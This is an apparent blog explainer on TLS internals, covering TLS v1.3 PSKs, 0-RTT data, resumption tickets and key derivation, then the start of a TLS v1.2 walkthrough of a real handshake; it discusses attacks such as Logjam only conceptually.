\nHowever, the best solution is to\navoid direcly using a group PSK:
\n\n\nUnless other accommodations are made to mitigate the risks of\nPSKs known to a group, each PSK MUST be restricted in its use to\nat most two logical nodes: one logical node in a TLS client role\nand one logical node in a TLS server role.
\n
In other words,\na given PSK should be associated with one client and one server\nand should not swap roles for the same PSK.
\nA solution is to use the PSK importer mechanism\nto derive different imported PSKs for the different roles from the main group PSK.\nThis is achieved by including the node identities\nin the context
parameter of the ImportedIdentity
.
When possible,\nyou might find it preferable to use public-key based authentication\nwith one keypair per node.
\nWarning: sharing the same PSK between different versions of the protocol
\nThe specification recommends\nagainst sharing the same PSK between TLS v1.2 and TLS v1.3\nbecause of the lack of analysis in this regard.
\nOpenSSL acknowledges this but still provides some features\n(SSL_CTX_set_psk_server_callback()
)\nwhich allows for sharing the same PSK\nfor TLS v1.2 and TLS v1.3 by default.
When the client is willing to use one of the two PSK-based key exchange methods,\nit proposes one or several PSK identities[2]\nto use through the pre_shared_key
extension of the ClientHello
message.\nIn addition, it uses the\npsk_key_exchange_modes
extension\nto announce which PSK mode it supports (psk_ke
and/or psk_dhe_ke
).
If the server accepts one of the proposed PSK identities,\nthe chosen identity\n(actually the index of the identity in the list of proposed PSK identities)\nis indicated in the pre_shared_key
extension\nof the ServerHello
.
The server never sends the psk_key_exchange_modes
extension.\nThe presence of a DHE public key (psk_key_exchange_modes
extensions of the ServerHello
)\nindicates that psk_dhe_ke
is used.\nOtherwise, psk_ke
is used.
struct {\n opaque identity<1..2^16-1>;\n uint32 obfuscated_ticket_age;\n} PskIdentity;\n\nopaque PskBinderEntry<32..255>;\n\nstruct {\n PskIdentity identities<7..2^16-1>;\n PskBinderEntry binders<33..2^16-1>;\n} OfferedPsks;\n\nstruct {\n select (Handshake.msg_type) {\n case client_hello: OfferedPsks;\n case server_hello: uint16 selected_identity;\n };\n} PreSharedKeyExtension;\n\nenum { psk_ke(0), psk_dhe_ke(1), (255) } PskKeyExchangeMode;\n\nstruct {\n PskKeyExchangeMode ke_modes<1..255>;\n} PskKeyExchangeModes;\n
\nWarning: lack of forward secrecy for psk_ke
The psk_ke
key exchange mode does not provide forward secrecy with respect to the PSK.
The psk_dhe_ke
key exchange mode provides\nforward secrecy by incorporating an ephemeral Diffie-Hellman key exchange.
Note: PSK binders
The client pre_shared_key
extensions includes a PSK binder\nper proposed identity which serves as a proof that the client\npossess the PSK associated with the PSK identity.
When using a PSK (either with psk_ke
or psk_dhe_ke
),\nthe client and the server already have a shared secret.\nThe client, may use this shared secret to send protected application directly after the ClientHello
message.\nThis is called early data or 0RTT (because it does not require any round trip with the server).
In this case, the early_data
extension\nis sent by the client.
early_data
extension in the EncryptedExtensions
message.\nIn this case, the client can send early data until it receives the server Finished
message:\nwhen this happens, it must send an EndOfEarlyData
message marking the end of the early data.If the client, proposes several PSK identities, only the first one is used to protect early data.\nThe server may only accept the early data if it accepts the first PSK identity.
\nstruct {} Empty;\n\nstruct {\n select (Handshake.msg_type) {\n case new_session_ticket: uint32 max_early_data_size;\n case client_hello: Empty;\n case encrypted_extensions: Empty;\n };\n} EarlyDataIndication;\n\nstruct {} EndOfEarlyData;\n
\nThe early application data is protected using key material derived from the PSK\nof the first proposed PSK identity.\nThe encryption algorithm used for early data\nis the one which was associated with the PSK.\nFor session resumption, this is the encryption algorithm\nused for the parent TLS connection.
\nWarning: security implication of using early data
\nThere is no forward secrecy of the early/0RTT application data\nwith respect to the PSK (because the Diffie-Hellman key exchange has not been done yet).\nMoreover, early data might be vulnerable to replay attacks\n(because the server did not have any occasion\nto contribute any value to the TLS handshake yet).
\nFor these reasons, support for early data is usually not enabled by default:
\nThe server may send one or several NewSessionTicket
messages in order\nto provision internals PSKs\nto the client which may be used for session resumption.
struct {\n uint32 ticket_lifetime;\n uint32 ticket_age_add;\n opaque ticket_nonce<0..255>;\n opaque ticket<1..2^16-1>;\n Extension extensions<0..2^16-2>;\n} NewSessionTicket;\n
\nThe ticket
value is an opaque value used as psk_identity
.\nEach ticket is expected to be used only once\n(by the client).\nFor this reason, the server may choose to send multiple tickets to the client\nin the same TLS connection.
The PSK associated with the ticket is derived\nfrom the resumption_master_secret
and the ticket_nonce
:
\nHKDF-Expand-Label(resumption_master_secret,\n \"resumption\", ticket_nonce, Hash.length)\n\n
The following extension can be used in NewSessionTicket
:
early_data
(EarlyDataIndication
), indicates that 0-RTT data may be accepted by the server.Note: comparison with TLS v1.2
\nIn TLS v1.2, the session master secret was shared\nbetween the original TLS connection and the resumed session.\nAs a consequence, if the session state was compromised\nat some point it could be used to decrypt the original TLS connection.\nThis is no longer the case in TLS v1.3:\nthe internal PSK used for session resumption\nis derived from the master secret of the original TLS connection.
\nMoreover, TLS v1.2 could not provide forward secrecy of the content of the resumed TLS connection\ndata with respect to the master secret:\nif the master secret was compromised, it could be used to derypt the content of the resumed TLS connection\nafter the fact.\nIn TLS v1.3, the psk_dhe_ke
mode provides forward forward secrecy of the resumed TLS connection\nwith respect to the session resumption PSK.
Note: content of the ticket
\nThe ticket is opaque for the client.\nIt's content is an implementation detail of the server.\nIt may be:
\nIf the client supports it,\nthe server may request a client authentication after the TLS handshake.\nThis feature may be useful:
\nExample: smartcard-based authentication
\nThe second feature might for example be used for smartcard-based authentication:\na TLS connection is still usable by the client even when the smartcard has been unplugged\n(bcause the private key is only used at duration the authentication).\nBy requesting a post handshake authentication, the server could make sure that the client\nstill has access to the smartcard.
\nstruct {\n opaque certificate_request_context<0..2^8-1>;\n Extension extensions<2..2^16-1>;\n} CertificateRequest;\n\nstruct {\n opaque certificate_request_context<0..2^8-1>;\n CertificateEntry certificate_list<0..2^24-1>;\n} Certificate;\n
\nIn a post handshake authentication, a non-empty CertificateRequest.certificate_request_context
field is passed by the server.\nThis value is repeated by the client in the Certificate.certificate_request_context
field\nwhich can be used to match requests/responses.\nMoreover, the CertificateVerify
signature\ncovers the certificate request context\nwhich ensures the freshness of the signature.
After a post handshake authentication,\nthe server may send NewSessionTicket
messages\nwhich may be used by the client for session resumption tied to the new client identity.
Warning: post-handshake authentication after an external PSK handshake
\nPost-handshake authentication is apparently/arguably allowed\nby the protocol after a PSK handshake.\nHowever, using a post-handshake authentication\nafter a psk_ke
key exchange\nwith an external PSK\ncan open up impersonation attacks.
As far as I understand, this attack could be prevented using SNI.
\nThe type of certificate used for server authentication\nis negotiated using the server_certificate_type
extension\n(in the ClientHello
and EncryptedExtensions
messages).\nTLS v1.3 only supports X.509 certificate chains and raw public key.
The type of certificate used for client authentication\nis negotiated using the client_certificate_type
extension\n(in the ClientHello
and EncryptedExtensions
messages).
See the previous post\nfor motivations for using raw public keys.
\nThe compress_certificate
extension\nmay be used to negotiated the compression of the certificate chains\n(either client or server).
enum {\n zlib(1),\n brotli(2),\n zstd(3),\n (65535)\n} CertificateCompressionAlgorithm;\n\nstruct {\n CertificateCompressionAlgorithm algorithms<2..2^8-2>;\n} CertificateCompressionAlgorithms;\n
\nIf the one peer has announced support for certificate compression,\nthe other peer may send a CompressedCertificate
message.
struct {\n CertificateCompressionAlgorithm algorithm;\n uint24 uncompressed_length;\n opaque compressed_certificate_message<1..2^24-1>;\n} CompressedCertificate;\n
\nBy including unique random
nonces in the transcript,\neach participant can make sure that the handshake transcript is unique.\nThis protects against replay attacks\nby ensuring the freshness of several authentication fields\nsuch as:
verify_data
of the Finished
messages;signature
fields of the CertificateVerify
messages.Moreover, the participants ensures that the derived cryptographic materials\nare unique to this TLS connections.
\nThis is especially important when using the PSK (without DHE) key exchange mode:\nin the two other key exhange modes, each participant already contributes an ephemeral value\nin the TLS handshake (its ephemeral Diffie-Hellman public key[3]).
\nMoreover, in TLS v1.3 the server_random
is used\nfor downgrade detection.
The hash function negotiated as part of the cipher suite is used:
\nThe key hierachy is made of three layers:
\nSee as well this nice diagram\nand this other nice diagram.
\nThe early secret is intended to be used before getting any answer from the server.\nAt this point, the Diffie-Hellman key exchange has not been done yet.
\nThe early secret is derived from the PSK (if any).\nThis is used to derive:
\nbinder_key
, used to compute an HMAC to prove knowledge of the PSK to the server;client_early_traffic_secret
, used to derive key material to encrypt the client early (0-RTT) traffic;early_exporter_master_secret
, see key exporters.All of these features are only available with the PSK key exchange algorithms.
\nMoreover, because the server did not contribute any input to the early secret,\nthey are vulnerable to replay attacks.\nSome mitigations may be implemented.
\nThe handshake secret is derived from the early secret and Diffie-Hellman exchange (if any).\nIt is used to derive keys used for protecting the messages of the TLS handshake:
\nclient_handshake_traffic_secret
, used to derive key material to encrypt client-initiated handshake messages (after the ClientHello
up to the client Finished
);server_handshake_traffic_secret
, used to derive key material to encrypt server-initiated handshake messages (after the ServerHello
up to the server Finished
).The master secret is derived from the handshake secret.\nIt is used to derive keys for protecting post-handshake communications\n(i.e. both post-handshake application data and post-handshake messages such as KeyUpdate
\nand NewSessionTicket
):
client_application_traffic_secret_0
, used to derive key material to encrypt for client post-handshake messages;server_application_traffic_secret_0
, used to derive key material to encrypt for server post-handshake messages;exporter_master_secret
, see key exporters;resumption_master_secret
, use to derive internal PSKs (for session resumption).Each peer can update\nits traffic secret (and traffic key material)\nby sending a KeyUpdate
message at any time after the handshake.
enum {\n update_not_requested(0), update_requested(1), (255)\n} KeyUpdateRequest;\n\nstruct {\n KeyUpdateRequest request_update;\n} KeyUpdate;\n
\nThe new traffic secret is computed as:
\n\napplication_traffic_secret_N+1 =\n HKDF-Expand-Label(application_traffic_secret_N,\n traffic upd\", \"\", Hash.length)\n\n
Each traffic secret is used to derive\nkey material for authenticated encryption:
\nAs in TLS v1.2, the key exporter mechanism\ncan be used to derive additional secrets/keys at the end of the TLS handshake\nto be used in other protocols/applications.
\nTLS v1.3 additionnaly supports early key exporter\nwhich can be used to export secrets directly after the ClientHello
.
Warning: replay attacks when using early exporters
\nSecrets derived from the early key exporter\nmay be vulnerable to replay attacks\nbecause the server did not contribute any data to the TLS handshake.
\n\n | TLS v1.2 | \nTLS v1.3 | \n
---|---|---|
Ciphersuite | \nkey exchange algorithm + cipher + hash function | \ncipher + hash function | \n
Ciphersuite example | \nTLS_ECDHE_RSA_WITH_\u00adCHACHA20_POLY1305_SHA256 | \nTLS_\u00adCHACHA20_POLY1305_SHA256 | \n
RSA key exchange | \nyes | \nno | \n
Static DH key exchange | \nyes | \nno | \n
Anonymous DHE key exchange | \nno | \nno | \n
DHE key exchange | \nyes | \nyes | \n
PSK-based key exchanges | \nextension | \nbuilt in | \n
FFDH groups | \narbitrary, explicitly sent | \nnamed groups only | \n
Client authentication using static DH keypair | \nyes | \nno | \n
Client authentication using signature | \nyes | \nyes | \n
Server authentication using signature | \ncovers a limited amount of data (cf. Logjam) | \ncovers all the previous handshake messages | \n
Key derivation | \nusing TLS-PRF | \nusing HKDF | \n
Order of authentication | \nclient then server | \nserver then client | \n
Finished.verify_data | \nusing TLS-PRF | \nusing an HMAC | \n
RTT | \n2-RTT | \noften 1-RTT, 2-RTT in the worst case | \n
0-RTT data / early data | \nno | \npossible (optional) in PSK key exchange methods (including session resumption) | \n
Session resumption | \nSession identifiers or session tickets | \nbased on the PSK key exchange mechanism | \n
Session resumption and forward secrecy | \nno forward secrecy wrt. persisted master secret | \nforward secrecy available (psk_dhe_ke only) | \n
Client certificate privacy | \npossible through TLS renegotiation | \nbuiltin | \n
SNI and ALPN privacy | \nno | \nextensions (encrypted ClientHello ) | \n
Post handshake authentication | \npossible through TLS renegotiation | \ndedicated support | \n
Rekeying | \npossible through TLS renegotiation | \ndedicated support | \n
The Diffie-Hellman key exchange is now done directly as part of the first two messages (ClientHello
/ServerHello
).\nAs a consequence a shared secret is established directly after the two messages\nand encryption can be used directly after these messages:
ClientHello
/ServerHello
messages in TLS v1.2)Moreover, the type of TLS messages is now encrypted.\nIn TLS v1.2, this was sent in cleartext.\nIt was for example possible for an eavesdropper to know that an alert was sent\n(but not which alert was sent).
\nWhen session resumption is used,\nthe client may send application data without any round trip (0RTT/early data)\nwith some caveats.
\nA lot of vulnerable/problematic mechanisms were removed or modified.
\nSeveral key exchange algorithms have been removed:
\nWeak cipher suites have been removed[4].
\nTLS-level compression has been removed.\nIt was usually disabled in practice because\nof the CRIME (Compression Ratio Info-leak Made Easy) vulnerability\n(CVE-2012-4929).
\nTLS renegotiation\nwhich has been associated with several vulnerabilities\n(CVE-2009-3555, 3SHAKE)\nhas been replaced with a simpler rekeying mechanisms and dedicated support for post-handshake authentication).
\nThe new session resumption mechanism has heen integrated with the\npre-shared keys (PSK) key exchange mechanism.\nIn TLS v1.2, the session mechanism was based on the idea of storing the master secret\nof the original TLS connections and reusing for subsequent TLS connections:\nthis master secret could be used to decrypt both the original session and resumed ones.\nIn TLS v1.3, the session PSK cannot be used to decrypt the original TLS connection.\nMoreover it cannot be used to decrypt the resumed TLS connection after the fact either\nwhen the psk_dhe_ke
mode is used (forward secrecy).
A mechanism similar to the extended master secret extension\n(which has been introduced as a fix for the 3SHAKE vulnerability)\nis now integrated in the base protocol.
\nServer authentication is more robust than in TLS v1.2.\nIn TLS v1.2, the signature used for server authentication only covers\na subset of the fields of the TLS handshake.\nThis problem was used in the Logjam attack.
\nRFCs:
\nRegistries:
\n\nPapers:
\nAbout TLS interception:
\nOther:
\nThe two mechanisms available in TLS v1.2 for session resumption\nare not present in TLS v1.3. \u21a9\ufe0e
\nA PSK identity is an identifier for a PSK.\nIt is used by the server to identify which PSK to use (i.e. like a login). \u21a9\ufe0e
\nThe fact that the each peer contributes a random
\nmeans that a peer could actually use a static DH keypair instead\nof an ephemeral one\nwithout completely compromising the security of the TLS handshake
This has been proposed\nas a solution for implementing passive monitoring (i.e. decryption)\nof the TLS traffic in a data center\n(this is called \u201cstatic (EC)DHE\u201d in the draft \ud83e\udd2a).\nIn this scheme, each server to monitor would be provisionned\nwith its own static DH keypair\nwhich would be shared with the monitoring infrastructure.\nThe monitoring infrastructure could compute the Diffie-Hellman secret\nof each TLS handshake\nand decrypt the TLS traffic in order to monitor it.\nActually, in this scheme, the monitoring infrastructure could completely\nmeddler-in-the-middle (MITM) the traffic (modify the data in transit).
\nThis scheme\nbreaks the expectation of forward secrecy\nprovided by the (supposedly-)ephemeral Diffie-Hellman key exchange:\nif the static Diffie-Hellman private key is compromised,\nall the communications established using it would be compromised\n(including the ones established in the past).\nFor this reason,\nsome would argue that this is a bad practice for the privacy of the users\nand that\na client should reject a handshake\nif it detects that a DH key is reused\nin DHE handshakes.
\nThe same scheme is called\neTLS\n(\u201cEnterprise Transport Layer Security\u201d)\nin ETSI TS 103 523-3\nand suggested in\nNIST SP 800-37A preliminary draft.\nAnother solution envisionned in the NIST SP 800-37A preliminary draft is for TLS server to submit the\n\u201csymmetric key used to encrypt the connection\u201d to some \u201ckey distribution function\u201d.
\nSee section 7.4\nof RFC9325\nfor other security issues associated\nwith reusing a DH key pair. \u21a9\ufe0e
\nRFC8998\ndefines two cipher suites\nbased on the Chinese ShangMi algorithms (the SM4 block cipher and the SM3 hash function).\nThese are expected to be used in China and are not endorsed by the IETF \ud83e\udd14.
\nRFC9367\ndefines four cipher suites\nbased on Russian algorithms:\nthe Kuznyechik or Magma\nblock cipher in Multilinear Galois Mode (MGM) mode.\nand the GOST R 34.11-2012 hash function.\nThese are expected to be used in Russia and are not endorsed by the IETF \ud83e\udd14.
\nRFC9150\ndefines two ciphersuites (TLS_SHA256_SHA256
and TLS_SHA384_SHA384
)\nwhich do not provide confidentiality (no encryption)\nbut only integrity and authentication.\nThese are not endorsed by the IETF and should only be used in specific cases. \u21a9\ufe0e
Some notes\nabout how TLS v1.2\n(Transport Layer Security) works.\nThe goal explain what is going on in a network traffic dump,\nthe role of the different TLS extensions,\nthe impact of the different cipher suites on security, etc.\nIt includes several diagrams and many references.
\nThe post starts with a summarizing sequence diagram.\nThe next section describes in details an example of a typical TLS connection.\nThen, some more details are provided.\nThe next section explains how session resumption works.\nThe following section describes some less used features:\nmutual authentication,\nalternative certificate formats\nand TLS-PSK.
\nYou may want to check as well \u201cThe Illustrated TLS Connection\u201d\nfor examples of the mesages on the wire.
\nNote: in TLS v1.3
\nSome things are quite different\nin TLS v1.3.\nThis is going to be covered in the next episode.
\nUpdate 2023-05-25:\nFix error about protocol stack diagrams where \u201cEAP-TLS\u201d was used instead of \u201cEAP-TTLS\u201d.
\nUpdate 2020-02-01:\nadded some notes about\nDNS rebinding for HTTPS\nin appendix.
\nTLS works on top of a reliable transport (usually TCP)\nand provides:
\nExamples: protocol stacks
\nTLS can for example be used to secure:\nHTTP (HTTP/1.x and HTTP/2),\nWebSocket,\nPOP,\nIMAP,\nSMTP,\nFTP,\nLDAP,\nDNS (DoT, DNS-over-TLS),\netc.
\n\nYou will find examples of using of TLS for authentication\nin appendix.
\nNote: TLS in QUIC
\nAnother common usage of TLS is in the QUIC handshake\n(used in particular for HTTP/3).\nHowever, QUIC mandates TLS v1.3 or greater so this will be covered in the next episode.
\nNote: DTLS
\nFor datagram-oriented application, DTLS\nmay be used instead. DTLS is quite similar to TLS but works on top of a datagram-oriented\ntransport (usually UDP) and provides a datagram-oriented transport.
\nThe major phases of the TLS connections are:
\nClientHello
and ServerHello
messages.ChangeCipherSpec
and Finished
messages.Note: TLS sublayers
\n\nThe following sequence diagram summarized a huge part of TLS v1.2.\nThis might be somewhat overwhelming for now.\nThe next sections should explain it all.\nSome bits (such as session resumption and TLS-PSK) are omitted for now\nbut are discussed in following sections.\nA simplified version of this diagram presenting the typical case\nis presented in the next section:\nyou might want to skip there at first reading.
\n\nNote: notations
\nThe sequence diagrams in this post indicates message encryption with \u201c(enc)\u201d:\neverything at the right of \u201c(enc)\u201d is encrypted (and authenticated) with keys\nderived from the master secret;\neverything before \u201c(enc)\u201d is not encrypted.
\nThe grey-out sections can be considered as deprecated.
\nMessage | \nSent by | \nRole | \n
---|---|---|
ClientHello /ServerHello | \nclient/sever | \nnegotiation (TLS version, TLS extensions, cipher suites, application layer protocol, etc.), nonce exchange (anti-replay), session resumption (session ID) | \n
Certificate | \nboth | \nclaim an identity and associate a static public key to it | \n
ServerKeyExchange | \nserver | \nephemeral DH public key exchange and, in some cases, signature-based server authentication | \n
CertificateRequest | \nserver | \npropose/request TLS client authentication | \n
ServerHelloDone | \nserver | \nend of the server handshake | \n
ClientKeyExchange | \nclient | \nephemeral DH public key exchange | \n
CertificateVerify | \nclient | \nsignature-based client authentication | \n
ChangeCipherSpec | \nboth | \nenable encryption for this direction | \n
Finished | \nboth | \nkey confirmation and handshake tampering prevention (eg. protect against TLS downgrade) | \n
NewSessionTicket | \nserver | \nprovision ticket-based session resumption | \n
This section describes in details a typical (real) TLS connection.\nThis is what used to happens when connecting to this web site using Firefox 78.12.0esr[1].\nThis example, uses the ECDHE_RSA
key exchange algorithm:
The differents steps are explained in more details afterwards.
\nNote: what is encrypted in TLS v1.2?
\nEach peer starts using encryption after sending the ChangeCipherSpec
message.\nEven when encryption is used,\nthe ContentType
\nof each TLSPlaintext
record (chunk of data) is sent in cleartext.\nThis field indicates which TLS subprotocol\n(handshake protocol, application protocol, cipher_spec_change)\nis transported in a given TLSPlaintext
record.
The client and the server starts\nby exchanging hello messages (ClientHello
and ServerHello
).\nThese messages are used for negotiating:
These messages include extensions\nwhich can be used to:
\nThe client and the server exchange random values (nonces) as well\nin the hello messages\nwhich are used for deriving key material later on.\nExchanging nonces ensures that each participant contributes\nsome ephemeral value to the exchange\n(even if, for example, they are using a static Diffie-Hellman key pair):\nthis can be used to prevent replay attacks.
\nstruct {\n ProtocolVersion client_version;\n Random random;\n SessionID session_id;\n CipherSuite cipher_suites<2..2^16-2>;\n CompressionMethod compression_methods<1..2^8-1>;\n select (extensions_present) {\n case false:\n struct {};\n case true:\n Extension extensions<0..2^16-1>;\n };\n} ClientHello;\n\nstruct {\n ProtocolVersion server_version;\n Random random;\n SessionID session_id;\n CipherSuite cipher_suite;\n CompressionMethod compression_method;\n select (extensions_present) {\n case false:\n struct {};\n case true:\n Extension extensions<0..2^16-1>;\n };\n} ServerHello;\n
\nThe cipher suite\nused is negotiated in the TLS hello messages.\nIn TLS v1.2, a cipher suite is roughly a combination of:
\nCiphersuites are named using a pattern of the form\nTLS_{key_exchange}_WITH_{encryption}_{hash}
.
Example
\nIn our example,\nFirefox advertised the following cipher suites compatible with TLS v1.2\nor below[3]:
\nTLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256
;TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256
;TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305_SHA256
;TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256
;TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384
;TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384
;TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
;TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
;TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
;TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
;TLS_RSA_WITH_AES_128_GCM_SHA256
;TLS_RSA_WITH_AES_256_GCM_SHA384
;TLS_RSA_WITH_AES_128_CBC_SHA
;TLS_RSA_WITH_AES_256_CBC_SHA
;TLS_RSA_WITH_3DES_EDE_CBC_SHA
.In our example, the cipher suite chosen by the server is\nTLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256
:
ECDHE_RSA
is the key exchange method\ni.e. Elliptic Curve Diffie-Hellman key agreement\nwith ephemeral server key (ECDHE) with RSA signature;AES_128_GCM
is used for the encryption;SHA256
is a secure hash algorithm used for key derivation.The cipher suite chosen by the server may depend on the requested server name\n(as requested in the SNI extension).\nFor example, the chosen cipher suite must be compatible\nwith whatever certificate the server has for this server name.\nIn our case, we are using ECDHE_RSA
\nso the server will have to present a certificate containing a RSA public key\nwith the digitalSignature
key usage.
Both ClientHello
and ServerHello
messages can include TLS extensions.\nHowever, the server can only include extensions which have been sent by the client:\nsome extensions are only sent by the client in order to advertise\nthat it has support for them.
Some important extensions are explained below.
\nenum {\n signature_algorithms(13), (65535)\n} ExtensionType;\n\nstruct {\n ExtensionType extension_type;\n opaque extension_data<0..2^16-1>;\n} Extension;\n
\nExample: extensions sent by the browser
\nIn my example, the following extensions were sent by Firefox:
\nserver_name
aka Server Name Indication (SNI);extended_master_secret
,renegotiation_info
,supported_groups
,ec_point_formats
;session_ticket
, for session resumption withtout server-side state;application_layer_protocol_negotiation
(ALPN);status_request
, indicates support for OCSP stapling;key_share
(for TLS v1.3);supported_versions
, used to indicated supported TLS versions (for TLS v1.3);signature_algorithms
, used to indicate supported digital signature algorithms;psk_key_exchange_modes
(for TLS v1.3);record_size_limit
;padding
.The server answered with:
\nrenegotiation_info
server_name
(SNI)ec_point_formats
;application_layer_protocol_negotiation
(ALPN);extended_master_secret
.Warning: privacy consideration
\nThe TLS extensions are sent in cleartext[4].\nThis can include for example the server name (SNI)\nand which application protocol is used (ALPN).
\nThe client can use\nthe Server Name Indication (SNI) extension\nto announce the server name it intends to connect to.\nFor example, the server can use this information to select\nwhich certificate chain to send,\nwhether to propose mutual authentication, etc.
\nstruct {\n NameType name_type;\n select (name_type) {\n case host_name: HostName;\n } name;\n} ServerName;\n\nenum {\n host_name(0), (255)\n} NameType;\n\nopaque HostName<1..2^16-1>;\n\nstruct {\n ServerName server_name_list<1..2^16-1>\n} ServerNameList;\n
\nThe peers can use the\nApplication-Layer Protocol Negotiation\n(ALPN) to negotiate which application protocol\nwill be tansported by the TLS connection[5].\nIn this example, the client announces support for HTTP/2 (h2
) and HTTP/1.1 (http/1.1
)\nand the server chooses to use HTTP/1.1.
opaque ProtocolName<1..2^8-1>;\n\nstruct {\n ProtocolName protocol_name_list<2..2^16-1>\n} ProtocolNameList;\n
\nThe client may use the signature algorithms extension\nto indicate which signature methods are supported by the client:
\nenum {\n none(0), md5(1), sha1(2), sha224(3), sha256(4), sha384(5),\n sha512(6), (255)\n} HashAlgorithm;\n\nenum { anonymous(0), rsa(1), dsa(2), ecdsa(3), (255) }\nSignatureAlgorithm;\n\nstruct {\n HashAlgorithm hash;\n SignatureAlgorithm signature;\n} SignatureAndHashAlgorithm;\n\nSignatureAndHashAlgorithm supported_signature_algorithms<2..2^16-2>;\n
\nNote: signature algorithms for certificates
\nThe signature_algorithms_cert
extension\nmay be used to negotiate different algorithms for certificate signatures\nthan the one used for Diffie-Hellman exchange signatures.\nThis extensions has been introduced in TLS v1.3 but may be used in TLS v1.2.
Note: digital signatures
\nDigital signatures is usually done in two steps:
\nThese are indicated by the hash
\nand signature
\nfields of SignatureAndHashAlgorithm
respectively.
Example: signature and hashes
\nIn my example, Firefox was sending support for:\necdsa_secp256r1_sha256
,\necdsa_secp384r1_sha384
,\necdsa_secp512r1_sha512
,\nrss_pss_rsae_sha256
,\nrss_pss_rsae_sha384
,\nrss_pss_rsae_sha521
,\nrss_pkcs1_sha256
,\nrss_pkcs1_sha383
,\nrss_pkcs1_sha512
,\necdsa_sha1
,\nand rsa_pkcs1_sha1
.
The supported_groups
extension\n(formerly elliptic_curves
)\nis used by the client to advertise\nwhich Diffie-Hellman groups it handles:
ffdhe2048
\nfor finite field Diffie-Hellman (FFDH, eg. DHE_*
key exchange algorithms);x25519
, secpp256r1
, brainpoolP256r1
\nfor Elliptic-Curve Diffie-Hellman (ECDH, eg. ECDHE_*
key exchange algorithms).This extension is not sent by the server:\nthe server advertises the chosen group in the ServerKeyExchange
message.
Note: the supported_groups
extensions used to be elliptic_curves
Before RFC7919, this extension was called elliptic_curves
\nand only listed ECDH groups.\nThe server was expected to be allowed to use arbitrary FFDH groups\n(defined by a prime number p).
The server may actually not support the supported_groups
semantic\nand use a arbitrary FFDH group.
At this point, the server sends a certificate chain in the Certificate
message.\nThis certificate chain is used to associate a static public key to its identity\n(its domain name)[6].\nThis public key will then be used in the following steps to authenticate the TLS handshake.
By default and in most cases,\nX.509 certificates are used.\nThe usage of other types of certificates\ncan be negotiated using the\nclient_certificate_type
and server_certificate_type
TLS extensions.
opaque ASN.1Cert<1..2^24-1>;\n\nstruct {\n ASN.1Cert certificate_list<0..2^24-1>;\n} Certificate;\n
\nNote: Structure of the certificate chain
\nThe first certificate is the leaf certificate i.e. the certificate of the server itself (it contains the server public key).
\nThe other certificates are Certificate Authority (CA) certificates:
\nAt this point, the client validates\nthe certificate chain (see appendix).\nIf the validation succeeds,\nthe client can trust that the public key found in the server certificate actually belongs to the server\nand can be relied on for authenticating the server.
\nThe type of leaf certificate (type of public key, key usage)\nusable depends on which key exchange algorithm is used\nwhich type of key and which certificate may be used.\nFor example, for ECDHE_RSA
, the certificate must contain a RSA public key\nand the key usage extension (if present) must include digitalSignature
.
At this point, the client and the server proceed with the negotiated key exchange.\nSeveral key exchange algorithms are available in TLS v1.2.\nIn any case, the role of this step is to:
\nIn our example, the ECDHE_RSA
\nkey exchange algorithm is used.\nThis is an ephemeral Elliptic Curve Diffie-Hellamn key exchange (ECDHE)\nwith RSA signature for server authentication:
ServerKeyExchange
message);ClientKeyExchange
message.struct {\n select (KeyExchangeAlgorithm) {\n case ecdhe_rsa:\n ServerECDHParams params;\n digitally-signed struct {\n opaque client_random[32];\n opaque server_random[32];\n ServerDHParams params;\n } signed_params;\n };\n} ServerKeyExchange;\n\nstruct {\n select (KeyExchangeAlgorithm) {\n case ecdhe_rsa:\n ClientECDiffieHellmanPublic;\n } exchange_keys;\n} ClientKeyExchange;\n\nstruct {\n ECParameters curve_params;\n ECPoint public;\n} ServerECDHParams;\n\nstruct {\n ECPoint ecdh_Yc;\n} ClientECDiffieHellmanPublic;\n
\nAt this point,\nboth the client and the server (see the details of the key derivation in appendix):
\nA passive attacker only has access to the Diffie-Hellman public keys.\nTherefore, it cannot compute the pre master secret,\nthe master secret and the key material.\nSee the previous episode\nfor explanations about the DH key exchange.
\nAn active attacker cannot contribute an ephemeral public key on behalf of the server\nbecause of the digital signature.
\nWarning: weakness of the signature in the ServerKeyExchange
message
The signature in the ServerKeyExchange
does not contain the cipher suite\n(and other negotiated parameters).\nAn attacker could attempt to use the signature generated by the server\nin a different cipher suite than the one it was generated for.
This defect is fixed in TLS v1.3. In TLS v1.3, the digital signature in the CertificateVerify
\nmessage contains a signature of the all the handshake messages so far:\nthis includes the negotiated cipher suite.
Vulnerability: Logjam attack
\nThis weakness in the TLS v1.2 protocol was exploited in the Logjam attack.\nIn this attack, the client is negotiating a DHE key exchange\nbut a meddler-in-the-middle (MITM) negotiates a DHE export[8] key exchange\nwith the server instead:
\nServerKeyExchange
which contains a DH public key on a\nweak (export) DH group;The Finished
messages are supposed to prevent this type of manipulation by ensuring that\nboth the client and the server have the same view of the handshake.\nHowever, if the attacker is able to break either of the DH public keys on this weak DH group\nfast enough,\nhe can compute the premaster secret in time in order to spoof the Finished
message.
The client can protect against this attack by checking that the DH group chosen\nby the server is big enough.
\nAt this point, the client peer sends:
\nChangeCipherSpec
message which indicates that the negotiated encryption method (in our case AES_128_GCM
) will be used for all of its subsequence messages;Finished
message which confirms that both peers have the same master secret (key confirmation) and observed the same the same handshake (protection against downgrade attacks).Then the server sends a ChangeCipherSpec
message and a Finished
message as well.
struct {\n enum { change_cipher_spec(1), (255) } type;\n} ChangeCipherSpec;\n\nstruct {\n opaque verify_data[verify_data_length];\n} Finished;\n
\nIn our case, we are using AES_128_GCM
for encryption.\nTwo encryption secret keys (one for each direction) are derived from the master secret.\nIn addition, two initialization vectors\nare derived from the master secret as well (one for each direction).\nAs this is an authenticated encryption with associated data (AEAD) algorithm,\nit already protects against tempering:\nthere is not need for a separate MAC and there is no need to derived MAC keys\nfrom the master secret.
The Finished\nmessage includes a verify_data
field\nwhich contains a a MAC[9] tag\nof all the previous handshake messages\nusing the master secret:
